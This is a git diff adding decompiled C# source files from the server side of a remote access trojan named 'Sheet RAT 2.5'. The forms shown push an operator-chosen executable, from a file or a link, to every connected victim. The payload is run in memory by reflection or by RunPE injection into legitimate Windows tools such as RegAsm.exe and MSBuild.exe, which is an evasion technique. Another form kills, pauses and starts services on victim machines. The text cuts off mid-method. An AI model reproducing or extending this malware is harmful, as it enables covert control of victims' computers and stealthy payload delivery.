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 + + \ No newline at end of file diff --git a/Server/Server/Forms/FormSendInMemory.cs b/Server/Server/Forms/FormSendInMemory.cs new file mode 100644 index 0000000..8820357 --- /dev/null +++ b/Server/Server/Forms/FormSendInMemory.cs @@ -0,0 +1,203 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.FormSendInMemory +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Controls; +using MetroFramework.Forms; +using Server.Helper; +using Server.Helper.Configs.Themes; +using System; +using System.Windows.Forms; +using System.ComponentModel; +using System.Drawing; +using System.IO; +using System.Text; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class FormSendInMemory : MetroForm +{ + private IContainer components; + private MetroButton button2; + private MetroButton button3; + private Label label3; + private Label label1; + public MetroComboBox comboBox2; + public MetroComboBox comboBox1; + + public Server.Connection.Clients[] Clients { get; set; } + + private string path { get; set; } + + public FormSendInMemory() => this.InitializeComponent(); + + private void FormRemoteDesktop_Load(object sender, EventArgs e) + { + if (Customs.customs.Theme != MetroThemeStyle.Dark) + { + this.comboBox1.Theme = Customs.customs.Theme; + this.Theme = Customs.customs.Theme; + this.comboBox2.Theme = Customs.customs.Theme; + this.button2.Theme = Customs.customs.Theme; + this.button3.Theme = Customs.customs.Theme; + this.label1.BackColor = Customs.customs.ThemeToColor(); + this.label3.BackColor = Customs.customs.ThemeToColor(); + } + if (Customs.customs.Style == MetroColorStyle.Lime) + return; + this.comboBox1.Style = Customs.customs.Style; + this.Style = Customs.customs.Style; + this.comboBox2.Style = Customs.customs.Style; + this.button2.Style = Customs.customs.Style; + this.button3.Style = Customs.customs.Style; + this.label3.ForeColor = Customs.customs.StyleToColor(); + this.label1.ForeColor = Customs.customs.StyleToColor(); + } + + private void button2_Click(object sender, EventArgs e) + { + if (this.button2.Text == "Select File") + { + using (OpenFileDialog openFileDialog = new OpenFileDialog()) + { + openFileDialog.Multiselect = true; + openFileDialog.Filter = "File application exe|*.exe"; + if (openFileDialog.ShowDialog() != DialogResult.OK) + return; + this.path = openFileDialog.FileName; + this.button2.Text = "Start"; + } + } + else + { + if (this.comboBox1.SelectedIndex == -1 || this.comboBox1.Text == "runpe" && this.comboBox2.SelectedIndex == -1) + return; + string checksum = Methods.GetChecksum("Plugins\\SendFile.dll"); + foreach (Server.Connection.Clients client in this.Clients) + client.Send((object) $"Invoke<@>{checksum}<@>{Convert.ToBase64String(Encoding.UTF8.GetBytes($"SendPe<@>{Convert.ToBase64String(File.ReadAllBytes(this.path))}<@>{(this.comboBox1.Text == "reflection" ? "reflection" : this.comboBox2.Text)}"))}"); + this.Close(); + } + } + + private void button3_Click(object sender, EventArgs e) => this.Close(); + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.button2 = new MetroButton(); + this.button3 = new MetroButton(); + this.label3 = new Label(); + this.label1 = new Label(); + this.comboBox2 = new MetroComboBox(); + this.comboBox1 = new MetroComboBox(); + this.SuspendLayout(); + this.button2.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.button2.Location = new Point(70, 145); + this.button2.Margin = new Padding(2); + this.button2.Name = "button2"; + this.button2.Size = new Size(85, 25); + this.button2.Style = MetroColorStyle.Lime; + this.button2.TabIndex = 28; + this.button2.Text = "Select File"; + this.button2.Theme = MetroThemeStyle.Dark; + this.button2.UseCustomForeColor = true; + this.button2.UseSelectable = true; + this.button2.Click += new EventHandler(this.button2_Click); + this.button3.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.button3.Location = new Point(159, 144 /*0x90*/); + this.button3.Margin = new Padding(2); + this.button3.Name = "button3"; + this.button3.Size = new Size(56, 25); + this.button3.Style = MetroColorStyle.Lime; + this.button3.TabIndex = 27; + this.button3.Text = "Cancel"; + this.button3.Theme = MetroThemeStyle.Dark; + this.button3.UseCustomForeColor = true; + this.button3.UseSelectable = true; + this.button3.Click += new EventHandler(this.button3_Click); + this.label3.AutoSize = true; + this.label3.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.label3.Location = new Point(19, 109); + this.label3.Margin = new Padding(2, 0, 2, 0); + this.label3.Name = "label3"; + this.label3.Size = new Size(41, 13); + this.label3.TabIndex = 1; + this.label3.Text = "Target:"; + this.label3.Visible = false; + this.label1.AutoSize = true; + this.label1.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.label1.Location = new Point(19, 78); + this.label1.Margin = new Padding(2, 0, 2, 0); + this.label1.Name = "label1"; + this.label1.Size = new Size(34, 13); + this.label1.TabIndex = 1; + this.label1.Text = "Type:"; + this.comboBox2.FontSize = MetroComboBoxSize.Small; + this.comboBox2.FormattingEnabled = true; + this.comboBox2.ItemHeight = 19; + this.comboBox2.Items.AddRange(new object[5] + { + (object) "aspnet_compiler.exe", + (object) "RegAsm.exe", + (object) "MSBuild.exe", + (object) "RegSvcs.exe", + (object) "vbc.exe" + }); + this.comboBox2.Location = new Point(70, 107); + this.comboBox2.Margin = new Padding(2); + this.comboBox2.Name = "comboBox2"; + this.comboBox2.Size = new Size(145, 25); + this.comboBox2.Style = MetroColorStyle.Lime; + this.comboBox2.TabIndex = 30; + this.comboBox2.Theme = MetroThemeStyle.Dark; + this.comboBox2.UseSelectable = true; + this.comboBox2.UseStyleColors = true; + this.comboBox1.FontSize = MetroComboBoxSize.Small; + this.comboBox1.FormattingEnabled = true; + this.comboBox1.ItemHeight = 19; + this.comboBox1.Items.AddRange(new object[2] + { + (object) "Reflection", + (object) "RunPE" + }); + this.comboBox1.Location = new Point(70, 78); + this.comboBox1.Margin = new Padding(2); + this.comboBox1.Name = "comboBox1"; + this.comboBox1.Size = new Size(145, 25); + this.comboBox1.Style = MetroColorStyle.Lime; + this.comboBox1.TabIndex = 31 /*0x1F*/; + this.comboBox1.Theme = MetroThemeStyle.Dark; + this.comboBox1.UseSelectable = true; + this.comboBox1.UseStyleColors = true; + this.AutoScaleDimensions = new SizeF(6f, 13f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(269, 190); + this.Controls.Add((Control) this.comboBox2); + this.Controls.Add((Control) this.comboBox1); + this.Controls.Add((Control) this.button2); + this.Controls.Add((Control) this.button3); + this.Controls.Add((Control) this.label3); + this.Controls.Add((Control) this.label1); + this.Name = nameof (FormSendInMemory); + this.Resizable = false; + this.Style = MetroColorStyle.Lime; + this.Text = "Inject In Memory"; + this.TextAlign = MetroFormTextAlign.Center; + this.Theme = MetroThemeStyle.Dark; + this.Load += new EventHandler(this.FormRemoteDesktop_Load); + this.ResumeLayout(false); + this.PerformLayout(); + } +} +} diff --git a/Server/Server/Forms/FormSendInMemory.resx b/Server/Server/Forms/FormSendInMemory.resx new file mode 100644 index 0000000..c7e0d4b --- /dev/null +++ b/Server/Server/Forms/FormSendInMemory.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Server/Server/Forms/FormSendInMemoryLink.cs b/Server/Server/Forms/FormSendInMemoryLink.cs new file mode 100644 index 0000000..49adf4b --- /dev/null +++ b/Server/Server/Forms/FormSendInMemoryLink.cs @@ -0,0 +1,231 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.FormSendInMemoryLink +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Controls; +using MetroFramework.Forms; +using Server.Helper; +using Server.Helper.Configs.Themes; +using System; +using System.Windows.Forms; +using System.ComponentModel; +using System.Drawing; +using System.Text; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class FormSendInMemoryLink : MetroForm +{ + private IContainer components; + private MetroButton button2; + private MetroButton button3; + private Label label3; + private Label label1; + public MetroComboBox comboBox2; + public MetroComboBox comboBox1; + private MetroTextBox metroTextBox1; + private Label label2; + + public Server.Connection.Clients[] Clients { get; set; } + + private string path { get; set; } + + public FormSendInMemoryLink() => this.InitializeComponent(); + + private void FormRemoteDesktop_Load(object sender, EventArgs e) + { + if (Customs.customs.Theme != MetroThemeStyle.Dark) + { + this.comboBox1.Theme = Customs.customs.Theme; + this.Theme = Customs.customs.Theme; + this.comboBox2.Theme = Customs.customs.Theme; + this.button2.Theme = Customs.customs.Theme; + this.button3.Theme = Customs.customs.Theme; + this.metroTextBox1.Theme = Customs.customs.Theme; + this.label1.BackColor = Customs.customs.ThemeToColor(); + this.label3.BackColor = Customs.customs.ThemeToColor(); + } + if (Customs.customs.Style == MetroColorStyle.Lime) + return; + this.comboBox1.Style = Customs.customs.Style; + this.Style = Customs.customs.Style; + this.comboBox2.Style = Customs.customs.Style; + this.button2.Style = Customs.customs.Style; + this.button3.Style = Customs.customs.Style; + this.metroTextBox1.Style = Customs.customs.Style; + this.label3.ForeColor = Customs.customs.StyleToColor(); + this.label1.ForeColor = Customs.customs.StyleToColor(); + } + + private void button2_Click(object sender, EventArgs e) + { + if (this.comboBox1.SelectedIndex == -1 || this.comboBox1.Text == "runpe" && this.comboBox2.SelectedIndex == -1) + return; + string checksum = Methods.GetChecksum("Plugins\\SendFile.dll"); + foreach (Server.Connection.Clients client in this.Clients) + client.Send((object) $"Invoke<@>{checksum}<@>{Convert.ToBase64String(Encoding.UTF8.GetBytes($"SendPeLink<@>{this.metroTextBox1.Text}<@>{(this.comboBox1.Text == "reflection" ? "reflection" : this.comboBox2.Text)}"))}"); + this.Close(); + } + + private void button3_Click(object sender, EventArgs e) => this.Close(); + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.button2 = new MetroButton(); + this.button3 = new MetroButton(); + this.label3 = new Label(); + this.label1 = new Label(); + this.comboBox2 = new MetroComboBox(); + this.comboBox1 = new MetroComboBox(); + this.metroTextBox1 = new MetroTextBox(); + this.label2 = new Label(); + this.SuspendLayout(); + this.button2.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.button2.Location = new Point(70, 165); + this.button2.Margin = new Padding(2); + this.button2.Name = "button2"; + this.button2.Size = new Size(85, 25); + this.button2.Style = MetroColorStyle.Lime; + this.button2.TabIndex = 28; + this.button2.Text = "Start"; + this.button2.Theme = MetroThemeStyle.Dark; + this.button2.UseCustomForeColor = true; + this.button2.UseSelectable = true; + this.button2.Click += new EventHandler(this.button2_Click); + this.button3.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.button3.Location = new Point(159, 165); + this.button3.Margin = new Padding(2); + this.button3.Name = "button3"; + this.button3.Size = new Size(56, 25); + this.button3.Style = MetroColorStyle.Lime; + this.button3.TabIndex = 27; + this.button3.Text = "Cancel"; + this.button3.Theme = MetroThemeStyle.Dark; + this.button3.UseCustomForeColor = true; + this.button3.UseSelectable = true; + this.button3.Click += new EventHandler(this.button3_Click); + this.label3.AutoSize = true; + this.label3.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.label3.Location = new Point(19, 109); + this.label3.Margin = new Padding(2, 0, 2, 0); + this.label3.Name = "label3"; + this.label3.Size = new Size(41, 13); + this.label3.TabIndex = 1; + this.label3.Text = "Target:"; + this.label3.Visible = false; + this.label1.AutoSize = true; + this.label1.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.label1.Location = new Point(19, 78); + this.label1.Margin = new Padding(2, 0, 2, 0); + this.label1.Name = "label1"; + this.label1.Size = new Size(34, 13); + this.label1.TabIndex = 1; + this.label1.Text = "Type:"; + this.comboBox2.FontSize = MetroComboBoxSize.Small; + this.comboBox2.FormattingEnabled = true; + this.comboBox2.ItemHeight = 19; + this.comboBox2.Items.AddRange(new object[5] + { + (object) "aspnet_compiler.exe", + (object) "RegAsm.exe", + (object) "MSBuild.exe", + (object) "RegSvcs.exe", + (object) "vbc.exe" + }); + this.comboBox2.Location = new Point(70, 107); + this.comboBox2.Margin = new Padding(2); + this.comboBox2.Name = "comboBox2"; + this.comboBox2.Size = new Size(145, 25); + this.comboBox2.Style = MetroColorStyle.Lime; + this.comboBox2.TabIndex = 30; + this.comboBox2.Theme = MetroThemeStyle.Dark; + this.comboBox2.UseSelectable = true; + this.comboBox2.UseStyleColors = true; + this.comboBox1.FontSize = MetroComboBoxSize.Small; + this.comboBox1.FormattingEnabled = true; + this.comboBox1.ItemHeight = 19; + this.comboBox1.Items.AddRange(new object[2] + { + (object) "Reflection", + (object) "RunPE" + }); + this.comboBox1.Location = new Point(70, 78); + this.comboBox1.Margin = new Padding(2); + this.comboBox1.Name = "comboBox1"; + this.comboBox1.Size = new Size(145, 25); + this.comboBox1.Style = MetroColorStyle.Lime; + this.comboBox1.TabIndex = 31 /*0x1F*/; + this.comboBox1.Theme = MetroThemeStyle.Dark; + this.comboBox1.UseSelectable = true; + this.comboBox1.UseStyleColors = true; + this.metroTextBox1.CustomButton.Image = (Image) null; + this.metroTextBox1.CustomButton.Location = new Point(53, 1); + this.metroTextBox1.CustomButton.Name = ""; + this.metroTextBox1.CustomButton.Size = new Size(21, 21); + this.metroTextBox1.CustomButton.Style = MetroColorStyle.Blue; + this.metroTextBox1.CustomButton.TabIndex = 1; + this.metroTextBox1.CustomButton.Theme = MetroThemeStyle.Light; + this.metroTextBox1.CustomButton.UseSelectable = true; + this.metroTextBox1.CustomButton.Visible = false; + this.metroTextBox1.Lines = new string[0]; + this.metroTextBox1.Location = new Point(70, 137); + this.metroTextBox1.MaxLength = (int) short.MaxValue; + this.metroTextBox1.Name = "metroTextBox1"; + this.metroTextBox1.PasswordChar = char.MinValue; + this.metroTextBox1.ScrollBars = ScrollBars.None; + this.metroTextBox1.SelectedText = ""; + this.metroTextBox1.SelectionLength = 0; + this.metroTextBox1.SelectionStart = 0; + this.metroTextBox1.ShortcutsEnabled = true; + this.metroTextBox1.Size = new Size(145, 23); + this.metroTextBox1.Style = MetroColorStyle.Lime; + this.metroTextBox1.TabIndex = 32 /*0x20*/; + this.metroTextBox1.Theme = MetroThemeStyle.Dark; + this.metroTextBox1.UseSelectable = true; + this.metroTextBox1.UseStyleColors = true; + this.metroTextBox1.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.metroTextBox1.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.label2.AutoSize = true; + this.label2.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.label2.Location = new Point(19, 137); + this.label2.Margin = new Padding(2, 0, 2, 0); + this.label2.Name = "label2"; + this.label2.Size = new Size(30, 13); + this.label2.TabIndex = 33; + this.label2.Text = "Link:"; + this.label2.Visible = false; + this.AutoScaleDimensions = new SizeF(6f, 13f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(269, 206); + this.Controls.Add((Control) this.label2); + this.Controls.Add((Control) this.metroTextBox1); + this.Controls.Add((Control) this.comboBox2); + this.Controls.Add((Control) this.comboBox1); + this.Controls.Add((Control) this.button2); + this.Controls.Add((Control) this.button3); + this.Controls.Add((Control) this.label3); + this.Controls.Add((Control) this.label1); + this.Name = nameof (FormSendInMemoryLink); + this.Resizable = false; + this.Style = MetroColorStyle.Lime; + this.Text = "Inject In Memory"; + this.TextAlign = MetroFormTextAlign.Center; + this.Theme = MetroThemeStyle.Dark; + this.Load += new EventHandler(this.FormRemoteDesktop_Load); + this.ResumeLayout(false); + this.PerformLayout(); + } +} +} diff --git a/Server/Server/Forms/FormSendInMemoryLink.resx b/Server/Server/Forms/FormSendInMemoryLink.resx new file mode 100644 index 0000000..c7e0d4b --- /dev/null +++ b/Server/Server/Forms/FormSendInMemoryLink.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Server/Server/Forms/FormService.cs b/Server/Server/Forms/FormService.cs new file mode 100644 index 0000000..1feeb68 --- /dev/null +++ b/Server/Server/Forms/FormService.cs @@ -0,0 +1,267 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.FormService +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Controls; +using MetroFramework.Forms; +using Server.Connection; +using Server.Helper.Configs.Themes; +using System; +using System.Windows.Forms; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class FormService : MetroForm +{ + public Clients client; + public Clients Plugin; + private IContainer components; + public MetroGrid metroGrid1; + private MetroContextMenu metroContextMenu1; + private ToolStripMenuItem killToolStripMenuItem; + public Timer timer1; + private ToolStripMenuItem pauseToolStripMenuItem; + private ToolStripMenuItem startToolStripMenuItem; + private ToolStripMenuItem resfreshToolStripMenuItem; + + public FormService() => this.InitializeComponent(); + + private void FormTaskMgr_Load(object sender, EventArgs e) + { + DataGridViewColumnCollection columns1 = this.metroGrid1.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn1 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn1.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn1.HeaderText = "Service"; + viewTextBoxColumn1.MinimumWidth = 150; + columns1.Add((DataGridViewColumn) viewTextBoxColumn1); + DataGridViewColumnCollection columns2 = this.metroGrid1.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn2 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn2.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn2.HeaderText = "Display Name"; + viewTextBoxColumn2.MinimumWidth = 300; + columns2.Add((DataGridViewColumn) viewTextBoxColumn2); + DataGridViewColumnCollection columns3 = this.metroGrid1.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn3 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn3.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn3.HeaderText = "Type"; + viewTextBoxColumn3.MinimumWidth = 100; + columns3.Add((DataGridViewColumn) viewTextBoxColumn3); + DataGridViewColumnCollection columns4 = this.metroGrid1.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn4 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn4.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn4.HeaderText = "Status"; + viewTextBoxColumn4.MinimumWidth = 100; + columns4.Add((DataGridViewColumn) viewTextBoxColumn4); + DataGridViewColumnCollection columns5 = this.metroGrid1.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn5 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn5.AutoSizeMode = DataGridViewAutoSizeColumnMode.Fill; + viewTextBoxColumn5.HeaderText = "Can Stop"; + viewTextBoxColumn5.MinimumWidth = 100; + columns5.Add((DataGridViewColumn) viewTextBoxColumn5); + if (Customs.customs.Theme != MetroThemeStyle.Dark || Customs.customs.Style != MetroColorStyle.Lime) + { + this.Theme = Customs.customs.Theme; + this.Style = Customs.customs.Style; + this.metroGrid1.Style = Customs.customs.Style; + this.metroGrid1.Theme = Customs.customs.Theme; + if (Customs.customs.Theme != MetroThemeStyle.Dark) + Program.form.SetThemeContextMenu(Customs.customs.Theme, (ContextMenuStrip) this.metroContextMenu1); + this.Refresh(); + } + this.metroGrid1.DefaultCellStyle = new DataGridViewCellStyle() + { + Alignment = DataGridViewContentAlignment.MiddleLeft, + ForeColor = Customs.customs.StyleToColor(), + Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel), + BackColor = Customs.customs.Theme == MetroThemeStyle.Dark ? Color.FromArgb(17, 17, 17) : Color.White, + SelectionForeColor = Customs.customs.Theme == MetroThemeStyle.Dark ? Color.FromArgb(17, 17, 17) : Color.White, + SelectionBackColor = Customs.customs.StyleToColor(), + WrapMode = DataGridViewTriState.False + }; + this.metroGrid1.RowTemplate.Resizable = DataGridViewTriState.True; + this.metroGrid1.RowTemplate.MinimumHeight = 30; + this.FormClosing += (FormClosingEventHandler) ((t, p) => + { + if (this.Plugin == null) + return; + this.Plugin.Disconnected(); + }); + } + + private void timer1_Tick(object sender, EventArgs e) + { + if (this.client.Connect && this.Plugin.Connect) + return; + this.Close(); + } + + private void killToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.Plugin == null) + return; + foreach (DataGridViewRow selectedRow in (BaseCollection) this.metroGrid1.SelectedRows) + { + if ((string) selectedRow.Cells[3].Value != "Stopped") + this.Plugin.Send((object) ("ServiceKill<@>" + selectedRow.Tag?.ToString())); + } + } + + private void pauseToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.Plugin == null) + return; + foreach (DataGridViewRow selectedRow in (BaseCollection) this.metroGrid1.SelectedRows) + { + if ((string) selectedRow.Cells[3].Value != "Paused") + this.Plugin.Send((object) ("ServicePause<@>" + selectedRow.Tag?.ToString())); + } + } + + private void startToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.Plugin == null) + return; + foreach (DataGridViewRow selectedRow in (BaseCollection) this.metroGrid1.SelectedRows) + { + if ((string) selectedRow.Cells[3].Value != "Running") + this.Plugin.Send((object) ("ServiceStart<@>" + selectedRow.Tag?.ToString())); + } + } + + private void resfreshToolStripMenuItem_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "ServiceUpdate"); + } + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.components = (IContainer) new System.ComponentModel.Container(); + 